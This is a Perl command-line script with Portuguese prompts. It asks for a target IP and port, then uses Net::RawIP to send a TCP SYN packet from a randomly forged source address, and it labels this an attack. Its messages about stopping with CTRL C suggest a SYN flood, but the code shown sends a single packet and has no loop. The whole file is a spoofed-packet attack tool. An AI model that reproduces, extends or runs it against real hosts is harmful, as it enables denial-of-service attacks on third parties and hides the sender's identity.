#!/usr/bin/perl
use strict;
use warnings;
my $teste;
use Net::RawIP;
inicio:
system("clear");
sleep(2);
system("clear");
print "Digite o endereco IP do alvo-->";
my $alv=<STDIN>;
unless ( $alv =~ /[0-9]/){
print "IP invalido, aperte ENTER para voltar:";
<STDIN>;
 goto inicio;
}
print "\nDica: Use o portscan para verificar quais portas estao abertas";
print "\n\nDigite a porta do alvo-->";
my $po_alv=<STDIN>;
unless ( $po_alv =~ /[0-9]/){
 print "Porta invalido, aperte ENTER para voltar:";
 <STDIN>;
 goto inicio;
}
my $rand= int(rand(100) + 100);
my $rand1= int(rand(100) + 100);
my $rand2= int(rand(100) +100);
my $rand3= int(rand(100)+100);
my $ip= "$rand.$rand1.$rand2.$rand3";
print "\n\nPara parar o ataque digite CTRL C";
print "\n\nPara iniciar o ataque aperte ENTER";
my $a=<STDIN>;
$teste=Net::RawIP->new({
                   ip => {   saddr => $ip,
                             daddr => $alv,
                        },
                   tcp =>{ 
                             source=>  80, 
                             dest => $po_alv,   
                             syn  => 1, 
                         },
                     });
$teste->send;